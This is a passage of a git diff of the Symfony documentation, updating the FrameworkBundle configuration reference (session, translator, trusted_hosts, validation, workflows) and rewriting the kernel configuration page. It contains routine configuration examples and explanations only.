function (FrameworkConfig $framework): void { + $framework->session() + ->savePath(null); + }; -cache -..... +sid_bits_per_character +...................... -**type**: ``string`` **default**: ``'file'`` +**type**: ``integer`` -This option can be one of the following values: +This determines the number of bits in the encoded session ID character. The possible +values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ","). +The more bits results in stronger session ID. ``5`` is recommended value for +most environments. -file - Use the filesystem to cache annotations -none - Disable the caching of annotations -a service id - A service id referencing a `Doctrine Cache`_ implementation +If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on. -file_cache_dir -.............. +.. deprecated:: 7.2 -**type**: ``string`` **default**: ``'%kernel.cache_dir%/annotations'`` + The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative + is provided as PHP 8.4 has deprecated the related option. -The directory to store cache files for annotations, in case -``annotations.cache`` is set to ``'file'``. +sid_length +.......... -debug -..... +**type**: ``integer`` -**type**: ``boolean`` **default**: ``%kernel.debug%`` +This determines the length of session ID string, which can be an integer between +``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer +session IDs are harder to guess. -Whether to enable debug mode for caching. If enabled, the cache will -automatically update when the original file is changed (both with code and -annotation changes). For performance reasons, it is recommended to disable -debug mode in production, which will happen automatically if you use the -default value. +If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on. -.. _configuration-framework-serializer: +.. deprecated:: 7.2 -serializer -~~~~~~~~~~ + The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is + provided as PHP 8.4 has deprecated the related option. -.. _reference-serializer-enabled: +.. _storage_id: -enabled -....... +storage_factory_id +.................. -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation +**type**: ``string`` **default**: ``session.storage.factory.native`` -Whether to enable the ``serializer`` service or not in the service container. +The service ID used for creating the ``SessionStorageInterface`` that stores +the session. This service is available in the Symfony application via the +``session.storage.factory`` service alias. The class has to implement +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`. +To see a list of all available storages, run: -.. _reference-serializer-enable_annotations: +.. code-block:: terminal -enable_annotations -.................. + $ php bin/console debug:container session.storage.factory. -**type**: ``boolean`` **default**: ``false`` +use_cookies +........... -If this option is enabled, serialization groups can be defined using annotations. +**type**: ``boolean`` -.. seealso:: +This specifies if the session ID is stored on the client side using cookies or +not. - For more information, see :ref:`serializer-using-serialization-groups-annotations`. +If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on. -.. _reference-serializer-name_converter: +ssi +~~~ -name_converter -.............. +enabled +....... -**type**: ``string`` +**type**: ``boolean`` **default**: ``false`` -The name converter to use. -The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter` -name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case`` -value. +Whether to enable or not SSI support in your application. -.. seealso:: +.. _reference-framework-test: - For more information, see - :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`. +test +~~~~ -.. _reference-serializer-circular_reference_handler: +**type**: ``boolean`` -circular_reference_handler -.......................... +If this configuration setting is present (and not ``false``), then the services +related to testing your application (e.g. ``test.client``) are loaded. This +setting should be present in your ``test`` environment (usually via +``config/packages/test/framework.yaml``). -**type** ``string`` +.. seealso:: -The service id that is used as the circular reference handler of the default -serializer. The service has to implement the magic ``__invoke($object)`` -method. + For more information, see :doc:`/testing`. -.. seealso:: +translator +~~~~~~~~~~ - For more information, see - :ref:`component-serializer-handling-circular-references`. +cache_dir +......... -.. _reference-serializer-mapping: +**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations`` -mapping -....... +Defines the directory where the translation cache is stored. Use ``null`` to +disable this cache. -.. _reference-serializer-mapping-paths: +.. _reference-translator-default_path: -paths -""""" +default_path +............ -**type**: ``array`` **default**: ``[]`` +**type**: ``string`` **default**: ``%kernel.project_dir%/translations`` -This option allows to define an array of paths with files or directories where -the component will look for additional serialization files. +This option allows to define the path where the application translations files +are stored. -php_errors -~~~~~~~~~~ +.. _reference-translator-enabled: -log -... +enabled +....... -**type**: ``boolean|int`` **default**: ``%kernel.debug%`` +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -Use the application logger instead of the PHP logger for logging PHP errors. -When an integer value is used, it also sets the log level. Those integer -values must be the same used in the `error_reporting PHP option`_. +Whether or not to enable the ``translator`` service in the service container. -throw -..... +.. _fallback: -**type**: ``boolean`` **default**: ``%kernel.debug%`` +fallbacks +......... -Throw PHP errors as ``\ErrorException`` instances. The parameter -``debug.error_handler.throw_at`` controls the threshold. +**type**: ``string|array`` **default**: value of `default_locale`_ -.. _reference-cache: +This option is used when the translation key for the current locale wasn't +found. -cache -~~~~~ +.. seealso:: -.. _reference-cache-app: + For more details, see :doc:`/translation`. -app -... +.. _reference-framework-translator-formatter: -**type**: ``string`` **default**: ``cache.adapter.filesystem`` +formatter +......... -The cache adapter used by the ``cache.app`` service. The FrameworkBundle -ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``, -``cache.adapter.system``, ``cache.adapter.filesystem``, ``cache.adapter.psr6``, -``cache.adapter.redis``, ``cache.adapter.memcached`` and ``cache.adapter.pdo``. +**type**: ``string`` **default**: ``translator.formatter.default`` -There's also a special adapter called ``cache.adapter.array`` which stores -contents in memory using a PHP array and it's used to disable caching (mostly on -the ``dev`` environment). +The ID of the service used to format translation messages. The service class +must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`. -.. tip:: +.. _reference-framework-translator-logging: - It might be tough to understand at the beginning, so to avoid confusion - remember that all pools perform the same actions but on different medium - given the adapter they are based on. Internally, a pool wraps the definition - of an adapter. +logging +....... -.. _reference-cache-system: +**default**: ``true`` when the debug mode is enabled, ``false`` otherwise. -system -...... +When ``true``, a log entry is made whenever the translator cannot find a translation +for a given key. The logs are made to the ``translation`` channel at the +``debug`` level for keys where there is a translation in the fallback +locale, and the ``warning`` level if there is no translation to use at all. -**type**: ``string`` **default**: ``cache.adapter.system`` +.. _reference-translator-paths: -The cache adapter used by the ``cache.system`` service. It supports the same -adapters available for the ``cache.app`` service. +paths +..... -directory -......... +**type**: ``array`` **default**: ``[]`` -**type**: ``string`` **default**: ``%kernel.cache_dir%/pools`` +This option allows to define an array of paths where the component will look +for translation files. The later a path is added, the more priority it has +(translations from later paths overwrite earlier ones). Translations from the +:ref:`default_path <reference-translator-default_path>` have more priority than +translations from all these paths. -The path to the cache directory used by services inheriting from the -``cache.adapter.filesystem`` adapter (including ``cache.app``). +.. _reference-translator-providers: -default_doctrine_provider -......................... +providers +......... -**type**: ``string`` +**type**: ``array`` **default**: ``[]`` -The service name to use as your default Doctrine provider. The provider is -available as the ``cache.default_doctrine_provider`` service. +This option enables and configures :ref:`translation providers <translation-providers>` +to push and pull your translations to/from third party translation services. -default_psr6_provider -..................... +trust_x_sendfile_type_header +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` +**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%`` -The service name to use as your default PSR-6 provider. It is available as -the ``cache.default_psr6_provider`` service. +.. versionadded:: 7.2 -default_redis_provider -...................... + In Symfony 7.2, the default value of this option was changed from ``false`` to the + value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable. -**type**: ``string`` **default**: ``redis://localhost`` +``X-Sendfile`` is a special HTTP header that tells web servers to replace the +response contents by the file that is defined in that header. This improves +performance because files are no longer served by your application but directly +by the web server. -The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider`` -service. +This configuration option determines whether to trust ``x-sendfile`` header for +BinaryFileResponse. If enabled, Symfony calls the +:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>` +method automatically. It becomes the service container parameter named +``kernel.trust_x_sendfile_type_header``. -default_memcached_provider -.......................... +.. _reference-framework-trusted-headers: -**type**: ``string`` **default**: ``memcached://localhost`` +trusted_headers +~~~~~~~~~~~~~~~ -The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider`` -service. +The ``trusted_headers`` option is needed to configure which client information +should be trusted (e.g. their host) when running Symfony behind a load balancer +or a reverse proxy. See :doc:`/deployment/proxies`. -default_pdo_provider -.................... +.. _configuration-framework-trusted-hosts: -**type**: ``string`` **default**: ``doctrine.dbal.default_connection`` +trusted_hosts +~~~~~~~~~~~~~ -The service id of the database connection, which should be either a PDO or a -Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider`` -service. +**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']`` -pools -..... +.. versionadded:: 7.2 -**type**: ``array`` + In Symfony 7.2, the default value of this option was changed from ``[]`` to the + value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable. -A list of cache pools to be created by the framework extension. +A lot of different attacks have been discovered relying on inconsistencies +in handling the ``Host`` header by various software (web servers, reverse +proxies, web frameworks, etc.). Basically, every time the framework is +generating an absolute URL (when sending an email to reset a password for +instance), the host might have been manipulated by an attacker. .. seealso:: - For more information about how pools works, see :ref:`cache pools <component-cache-cache-pools>`. + You can read `HTTP Host header attacks`_ for more information about + these kinds of attacks. -To configure a Redis cache pool with a default lifetime of 1 hour, do the following: +The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>` +method might be vulnerable to some of these attacks because it depends on +the configuration of your web server. One simple solution to avoid these +attacks is to configure a list of hosts that your Symfony application can respond +to. That's the purpose of this ``trusted_hosts`` option. If the incoming +request's hostname doesn't match one of the regular expressions in this list, +the application won't respond and the user will receive a 400 response. .. configuration-block:: @@ -2759,11 +3552,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow # config/packages/framework.yaml framework: - cache: - pools: - cache.mycache: - adapter: cache.adapter.redis - default_lifetime: 3600 + trusted_hosts: ['^example\.com$', '^example\.org$'] .. code-block:: xml @@ -2777,13 +3566,8 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:cache> - <framework:pool - name="cache.mycache" - adapter="cache.adapter.redis" - default-lifetime=3600 - /> - </framework:cache> + <framework:trusted-host>^example\.com$</framework:trusted-host> + <framework:trusted-host>^example\.org$</framework:trusted-host> <!-- ... --> </framework:config> </container> @@ -2791,155 +3575,177 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'pools' => [ - 'cache.mycache' => [ - 'adapter' => 'cache.adapter.redis', - 'default_lifetime' => 3600, - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; -.. _reference-cache-pools-name: + return static function (FrameworkConfig $framework): void { + $framework->trustedHosts(['^example\.com$', '^example\.org$']); + }; -name -"""" +Hosts can also be configured to respond to any subdomain, via +``^(.+\.)?example\.com$`` for instance. -**type**: ``prototype`` +In addition, you can also set the trusted hosts in the front controller +using the ``Request::setTrustedHosts()`` method:: -Name of the pool you want to create. + // public/index.php + Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']); -.. note:: +The default value for this option is an empty array, meaning that the application +can respond to any given host. - Your pool name must differ from ``cache.app`` or ``cache.system``. +.. seealso:: -adapter -""""""" + Read more about this in the `Security Advisory Blog post`_. -**type**: ``string`` **default**: ``cache.app`` +.. _reference-framework-trusted-proxies: -The service name of the adapter to use. You can specify one of the default -services that follow the pattern ``cache.adapter.[type]``. Alternatively you -can specify another cache pool as base, which will make this pool inherit the -settings from the base pool as defaults. +trusted_proxies +~~~~~~~~~~~~~~~ -.. note:: +The ``trusted_proxies`` option is needed to get precise information about the +client (e.g. their IP address) when running Symfony behind a load balancer or a +reverse proxy. See :doc:`/deployment/proxies`. - Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface. +.. _reference-validation: -public -"""""" +validation +~~~~~~~~~~ -**type**: ``boolean`` **default**: ``false`` +.. _reference-validation-auto-mapping: -Whether your service should be public or not. +auto_mapping +............ -tags -"""" +**type**: ``array`` **default**: ``[]`` -**type**: ``boolean`` | ``string`` **default**: ``null`` +Defines the Doctrine entities that will be introspected to add +:ref:`automatic validation constraints <automatic_object_validation>` to them: -Whether your service should be able to handle tags or not. -Can also be the service id of another cache pool where tags will be stored. +.. configuration-block:: -default_lifetime -"""""""""""""""" + .. code-block:: yaml -**type**: ``integer`` | ``string`` + framework: + validation: + auto_mapping: + # an empty array means that all entities that belong to that + # namespace will add automatic validation + 'App\Entity\': [] + 'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity'] -Default lifetime of your cache items. Give an integer value to set the default -lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"`` -or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``. + .. code-block:: xml -If no value is provided, the cache adapter will fallback to the default value on -the actual cache storage. + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -provider -"""""""" + <framework:config> + <framework:validation> + <framework:auto-mapping> + <framework:service namespace="App\Entity\"/> -**type**: ``string`` + <framework:service namespace="Foo\">Foo\Some\Entity</framework:service> + <framework:service namespace="Foo\">Foo\Another\Entity</framework:service> + </framework:auto-mapping> + </framework:validation> + </framework:config> + </container> -Overwrite the default service name or DSN respectively, if you do not want to -use what is configured as ``default_X_provider`` under ``cache``. See the -description of the default provider setting above for the type of adapter -you use for information on how to specify the provider. + .. code-block:: php -clearer -""""""" + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -**type**: ``string`` + return static function (FrameworkConfig $framework): void { + $framework->validation() + ->autoMapping() + ->paths([ + 'App\\Entity\\' => [], + 'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'], + ]); + }; -The cache clearer used to clear your PSR-6 cache. +.. _reference-validation-disable_translation: -.. seealso:: +disable_translation +................... - For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`. +**type**: ``boolean`` **default**: ``false`` -.. _reference-cache-prefix-seed: +Validation error messages are automatically translated to the current application +locale. Set this option to ``true`` to disable translation of validation messages. +This is useful to avoid "missing translation" errors in applications that use +only a single language. -prefix_seed -........... +.. versionadded:: 7.3 -**type**: ``string`` **default**: ``null`` + The ``disable_translation`` option was introduced in Symfony 7.3. -If defined, this value is used as part of the "namespace" generated for the -cache item keys. A common practice is to use the unique name of the application -(e.g. ``symfony.com``) because that prevents naming collisions when deploying -multiple applications into the same path (on different servers) that share the -same cache backend. +.. _reference-validation-email_validation_mode: -It's also useful when using `blue/green deployment`_ strategies and more -generally, when you need to abstract out the actual deployment directory (for -example, when warming caches offline). +email_validation_mode +..................... -.. versionadded:: 5.2 +**type**: ``string`` **default**: ``html5`` - Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no - longer appended automatically to the value of this option. This allows - sharing caches between applications or different environments. +Sets the default value for the +:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`. -.. _reference-lock: +.. _reference-validation-enable_annotations: -lock -~~~~ +enable_attributes +................. -**type**: ``string`` | ``array`` +**type**: ``boolean`` **default**: ``true`` -The default lock adapter. If not defined, the value is set to ``semaphore`` when -available, or to ``flock`` otherwise. Store's DSN are also allowed. +If this option is enabled, validation constraints can be defined using `PHP attributes`_. -.. _reference-lock-enabled: +.. _reference-validation-enabled: enabled ....... -**type**: ``boolean`` **default**: ``true`` +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -Whether to enable the support for lock or not. This setting is -automatically set to ``true`` when one of the child settings is configured. +Whether or not to enable validation support. -.. _reference-lock-resources: +This option will automatically be set to ``true`` when one of the child +settings is configured. -resources -......... +.. _reference-validation-mapping: -**type**: ``array`` +mapping +....... + +.. _reference-validation-mapping-paths: + +paths +""""" + +**type**: ``array`` **default**: ``['config/validation/']`` -A list of lock stores to be created by the framework extension. +This option allows to define an array of paths with files or directories where +the component will look for additional validation files: .. configuration-block:: .. code-block:: yaml - # config/packages/lock.yaml + # config/packages/framework.yaml framework: - lock: '%env(LOCK_DSN)%' + validation: + mapping: + paths: + - "%kernel.project_dir%/config/validation/" .. code-block:: xml - <!-- config/packages/lock.xml --> + <!-- config/packages/framework.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -2949,43 +3755,91 @@ A list of lock stores to be created by the framework extension. http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:lock> - <framework:resource>%env(LOCK_DSN)%</framework:resource> - </framework:lock> + <framework:validation> + <framework:mapping> + <framework:path>%kernel.project_dir%/config/validation/</framework:path> + </framework:mapping> + </framework:validation> </framework:config> </container> .. code-block:: php - // config/packages/lock.php - $container->loadFromExtension('framework', [ - 'lock' => '%env(LOCK_DSN)%', - ]); + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -.. seealso:: + return static function (FrameworkConfig $framework): void { + $framework->validation() + ->mapping() + ->paths(['%kernel.project_dir%/config/validation/']); + }; - For more details, see :doc:`/lock`. +.. _reference-validation-not-compromised-password: -.. _reference-lock-resources-name: +not_compromised_password +........................ -name -"""" +The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` +constraint makes HTTP requests to a public API to check if the given password +has been compromised in a data breach. -**type**: ``prototype`` +static_method +............. -Name of the lock you want to create. +**type**: ``string | array`` **default**: ``['loadValidatorMetadata']`` -.. tip:: +Defines the name of the static method which is called to load the validation +metadata of the class. You can define an array of strings with the names of +several methods. In that case, all of them will be called in that order to load +the metadata. + +translation_domain +.................. - If you want to use the `RetryTillSaveStore` for :ref:`non-blocking locks <lock-blocking-locks>`, - you can do it by :doc:`decorating the store </service_container/service_decoration>` service: +**type**: ``string | false`` **default**: ``validators`` - .. code-block:: yaml +The translation domain that is used when translating validation constraint +error messages. Use false to disable translations. + + +.. _reference-validation-not-compromised-password-enabled: + +enabled +""""""" - lock.invoice.retry_till_save.store: - class: Symfony\Component\Lock\Store\RetryTillSaveStore - decorates: lock.invoice.store - arguments: ['@.inner', 100, 50] +**type**: ``boolean`` **default**: ``true`` + +If you set this option to ``false``, no HTTP requests will be made and the given +password will be considered valid. This is useful when you don't want or can't +make HTTP requests, such as in ``dev`` and ``test`` environments or in +continuous integration servers. + +endpoint +"""""""" + +**type**: ``string`` **default**: ``null`` + +By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` +constraint uses the public API provided by `haveibeenpwned.com`_. This option +allows to define a different, but compatible, API endpoint to make the password +checks. It's useful for example when the Symfony application is run in an +intranet without public access to the internet. + +web_link +~~~~~~~~ + +enabled +....... + +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation + +Adds a `Link HTTP header`_ to the response. + +webhook +~~~~~~~ + +The ``webhook`` option (and its children) are used to configure the webhooks +defined in your application. Read more about the options in the :ref:`Webhook documentation <webhook>`. workflows ~~~~~~~~~ @@ -3027,11 +3881,14 @@ A list of workflows to be created by the framework extension: .. code-block:: php // config/packages/workflow.php - $container->loadFromExtension('framework', [ - 'workflows' => [ - 'my_workflow' => // ... - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->workflows() + ->workflows('my_workflow') + // ... + ; + }; .. seealso:: @@ -3059,7 +3916,7 @@ Name of the workflow you want to create. audit_trail """"""""""" -**type**: ``bool`` +**type**: ``boolean`` If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener` will be enabled. @@ -3079,7 +3936,7 @@ marking_store Each marking store can define any of these options: -* ``arguments`` (**type**: ``array``) +* ``property`` (**type**: ``string`` **default**: ``marking``) * ``service`` (**type**: ``string``) * ``type`` (**type**: ``string`` **allow value**: ``'method'``) @@ -3140,23 +3997,34 @@ to know their differences. .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning -.. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html -.. _`egulias/email-validator`: https://github.com/egulias/EmailValidator -.. _`RFC 5322`: https://tools.ietf.org/html/rfc5322 -.. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev .. _`webpack-manifest-plugin`: https://www.npmjs.com/package/webpack-manifest-plugin +.. _`json_encode flags bitmask`: https://www.php.net/json_encode .. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery -.. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length -.. _`session.sid_bits_per_character PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-bits-per-character .. _`X-Robots-Tag HTTP header`: https://developers.google.com/search/reference/robots_meta_tag .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout .. _`PEM formatted`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail .. _`haveibeenpwned.com`: https://haveibeenpwned.com/ -.. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter +.. _`session.name`: https://www.php.net/manual/en/session.configuration.php#ini.session.name +.. _`session.cookie_lifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-lifetime +.. _`session.cookie_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-path +.. _`session.cache_limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter +.. _`session.cookie_domain`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-domain +.. _`session.cookie_samesite`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-samesite +.. _`session.cookie_secure`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-secure +.. _`session.gc_divisor`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-divisor +.. _`session.gc_probability`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-probability +.. _`session.gc_maxlifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime +.. _`session.sid_length`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length +.. _`session.sid_bits_per_character`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character +.. _`session.save_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.save-path +.. _`session.use_cookies`: https://www.php.net/manual/en/session.configuration.php#ini.session.use-cookies .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers +.. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988 +.. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example +.. _`PHP attributes`: https://www.php.net/manual/en/language.attributes.overview.php diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst index 27707807ed4..b7596182906 100644 --- a/reference/configuration/kernel.rst +++ b/reference/configuration/kernel.rst @@ -1,145 +1,110 @@ -.. index:: - single: Configuration reference; Kernel class - Configuring in the Kernel ========================= -Some configuration can be done on the kernel class itself (located by default at -``src/Kernel.php``). You can do this by overriding specific methods in -the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class. - -Configuration -------------- +Symfony applications define a kernel class (which is located by default at +``src/Kernel.php``) that includes several configurable options. This article +explains how to configure those options and shows the list of container parameters +created by Symfony based on that configuration. -* `Charset`_ -* `Project Directory`_ -* `Cache Directory`_ -* `Log Directory`_ -* `Container Build Time`_ +.. _configuration-kernel-build-directory: -In previous Symfony versions there was another configuration option to define -the "kernel name", which is only important when -:doc:`using applications with multiple kernels </configuration/multiple_kernels>`. -If you need a unique ID for your kernels use the ``kernel.container_class`` -parameter or the ``Kernel::getContainerClass()`` method. - -.. _configuration-kernel-charset: +``kernel.build_dir`` +-------------------- -Charset -~~~~~~~ +**type**: ``string`` **default**: ``$this->getCacheDir()`` -**type**: ``string`` **default**: ``UTF-8`` +This parameter stores the absolute path of a build directory of your Symfony application. +This directory can be used to separate read-only cache (i.e. the compiled container) +from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default +value when the application is deployed in a read-only filesystem like a Docker +container or AWS Lambda. -This option defines the charset that is used in the application. This value is -exposed via the ``kernel.charset`` configuration parameter and the -:method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset` method. +This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` +method of the kernel class, which you can override to return a different value. -To change this value, override the ``getCharset()`` method and return another -charset:: +You can also change the build directory by defining an environment variable +named ``APP_BUILD_DIR`` whose value is the absolute path of the build folder. - // src/Kernel.php - namespace App; +``kernel.bundles`` +------------------ - use Symfony\Component\HttpKernel\Kernel as BaseKernel; - // ... +**type**: ``array`` **default**: ``[]`` - class Kernel extends BaseKernel - { - public function getCharset() - { - return 'ISO-8859-1'; - } - } +This parameter stores the list of :doc:`bundles </bundles>` registered in the +application and the FQCN of their main bundle class:: -.. _configuration-kernel-project-directory: - -Project Directory -~~~~~~~~~~~~~~~~~ - -**type**: ``string`` **default**: the directory of the project ``composer.json`` + [ + 'FrameworkBundle' => 'Symfony\Bundle\FrameworkBundle\FrameworkBundle', + 'TwigBundle' => 'Symfony\Bundle\TwigBundle\TwigBundle', + // ... + ] -This returns the absolute path of the root directory of your Symfony project, -which is used by applications to perform operations with file paths relative to -the project's root directory. +This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBundles` +method of the kernel class. -By default, its value is calculated automatically as the directory where the -main ``composer.json`` file is stored. This value is exposed via the -``kernel.project_dir`` configuration parameter and the -:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method. +``kernel.bundles_metadata`` +--------------------------- -If you don't use Composer, or have moved the ``composer.json`` file location or -have deleted it entirely (for example in the production servers), you can -override the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` -method to return the right project directory:: +**type**: ``array`` **default**: ``[]`` - // src/Kernel.php - namespace App; +This parameter stores the list of :doc:`bundles </bundles>` registered in the +application and some metadata about them:: - use Symfony\Component\HttpKernel\Kernel as BaseKernel; - // ... - - class Kernel extends BaseKernel - { + [ + 'FrameworkBundle' => [ + 'path' => '/<path-to-your-project>/vendor/symfony/framework-bundle', + 'namespace' => 'Symfony\Bundle\FrameworkBundle', + ], + 'TwigBundle' => [ + 'path' => '/<path-to-your-project>/vendor/symfony/twig-bundle', + 'namespace' => 'Symfony\Bundle\TwigBundle', + ], // ... + ] - public function getProjectDir(): string - { - return \dirname(__DIR__); - } - } +This value is not exposed via any method of the kernel class, so you can only +obtain it via the container parameter. -Cache Directory -~~~~~~~~~~~~~~~ +``kernel.cache_dir`` +-------------------- **type**: ``string`` **default**: ``$this->getProjectDir()/var/cache/$this->environment`` -This returns the absolute path of the cache directory of your Symfony project. -It's calculated automatically based on the current -:ref:`environment <configuration-environments>`. Data might be written to this -path at runtime. - -This value is exposed via the ``kernel.cache_dir`` configuration parameter and -the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To -change this setting, override the ``getCacheDir()`` method to return the correct -cache directory. - -Build Directory -~~~~~~~~~~~~~~~ - -**type**: ``string`` **default**: ``$this->getCacheDir()`` - -.. versionadded:: 5.2 +This parameter stores the absolute path of the cache directory of your Symfony +application. The default value is generated by Symfony based on the current +:ref:`configuration environment <configuration-environments>`. Your application +can write data to this path at runtime. - The build directory feature was introduced in Symfony 5.2. +This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` +method of the kernel class, which you can override to return a different value. -This returns the absolute path of a build directory of your Symfony project. This -directory can be used to separate read-only cache (i.e. the compiled container) -from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default -value when the application is deployed in a read-only filesystem like a Docker -container or AWS Lambda. +.. _configuration-kernel-charset: -This value is exposed via the ``kernel.build_dir`` configuration parameter and -the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To -change this setting, override the ``getBuildDir()`` method to return the correct -build directory. +``kernel.charset`` +------------------ +**type**: ``string`` **default**: ``UTF-8`` -Log Directory -~~~~~~~~~~~~~ +This parameter stores the type of charset or `character encoding`_ that is used +in the application. This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset` +method of the kernel class, which you can override to return a different value:: -**type**: ``string`` **default**: ``$this->getProjectDir()/var/log`` + // src/Kernel.php + namespace App; -This returns the absolute path of the log directory of your Symfony project. -It's calculated automatically based on the current -:ref:`environment <configuration-environments>`. + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + // ... -This value is exposed via the ``kernel.logs_dir`` configuration parameter and -the 